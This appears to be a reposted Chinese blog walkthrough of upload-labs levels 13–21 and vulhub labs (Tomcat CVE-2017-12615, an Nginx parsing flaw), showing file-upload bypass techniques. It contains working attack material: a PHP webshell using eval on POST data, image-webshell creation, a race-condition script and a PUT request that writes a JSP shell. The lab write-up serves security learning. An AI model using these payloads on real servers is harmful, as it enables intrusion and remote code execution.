文件上传之内容逻辑数组绕过
2021/8/9 6:06:38
本文主要是介绍文件上传之内容逻辑数组绕过,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
upload-labs第13-21关
1. pass13(post%00截断)
通过源码分析,保存路径是以post方式提交的,故可以post%00截断绕过。
提交抓包,修改参数
%00要使用url编码
上传成功:
2. pass14(文件包含漏洞)
图片马制作:
copy 2.jpg /b + shell.php /a webshell.jpg
通过源码分析,改关是检查文件头信息进行判断。
且此关是文件包含漏洞。是GET传参,参数是file。
上传一张有马的图片。查看图片地址。
构造payload:
http://127.0.0.1/upload-labs/include.php?file=upload/7020210808175852.jpg
成功执行。
3. pass15(文件包含漏洞)
查看源码:
发现php函数getimagesize(),此函数限制上传的仅为图片文件。
绕过方法与14关一至。
4. pass16、17(文件包含漏洞)
16关源码中有内置函数:exif_imagetype()
17关源码中有内置函数:imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif()
均限制了上传文件类型。均需用文件包含漏洞绕过,方法与14、15关类似。
5. pass18(条件竞争)
- 条件竞争漏洞
条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删除。
源码分析:
服务器先将上传的文件进行暂存,在判断是否符合条件,符合就重命名进行保存。
准备shell代码,保存为shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['x'])?>');?>
在准备一个python脚本:
import requests url = "http://127.0.0.1/upload/shell.php" while True: html = requests.get(url) if html.status_code == 200: print("OK") break else: print("NO")
上传,抓包
发送到intruder模块
清除positions中的所有选项
payloads中设置无期限的重复。
开始攻击,共攻击的同时,运行python文件。
成功:
蚁剑连接测试:
6. pass19(条件竞争)
第19关仍然是条件竞争问题。
直接抓包进行攻击:
增加X-Forwarded-For:
设置payloads:
开始攻击,同时不断访问http://127.0.0.1/upload-labs/upload/shell.php,
出先报错即可。
7. pass20(文件夹问题)
查看源码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
这里使用post进行修改文件名操作
这里对文件名进行黑名单过滤,我们采用.php/.来绕过黑名单。
move_uploaded_file()函数会过滤掉文件末尾的/.再上传到服务器中。
抓包修改:
上传成功;
8. pass21(数组接受+目录命名问题)
查看源码:
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
可看出这是白名单限制。
通过检查MIME信息中的文件后缀在白名单中则上传,否则报错。
此部分将文件名分成3部分组成一个数组,例如将"xx.jpg"分为:"xx"、"."、"jpg"三部分
我们抓包将.php/.jpg分三部分修改即可绕过
中间件漏洞
Tomcat上传漏洞
- CVE-2017-12615vulhub靶场演示
配置环境:
docker-compose build docker-compose up -d
访问8080端口:
基本原理:
Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
POC
直接发送以下数据包,shell就会写入Web根目录。
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
访问:http://192.168.0.105:8080/1.jsp?pwd=023&i=id
搭建平台解析漏洞
常见搭建平台解析漏洞如下图:
Nginx上传解析漏洞vulhub演示
启动靶场环境
docker-compose up -d
由数据包显示,是Nginx搭建平台,可考虑使用Nginx解析漏洞。
xx.jpg/xx.php 可将jpg文件当做php执行。
上传有马的图片
然后访问:http://192.168.0.105/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/sds.php
成功解析。
这篇关于文件上传之内容逻辑数组绕过的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-28一步到位:购买适合 SEO 的域名全攻略
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南
- 2024-12-27JWT单点登录原理学习入门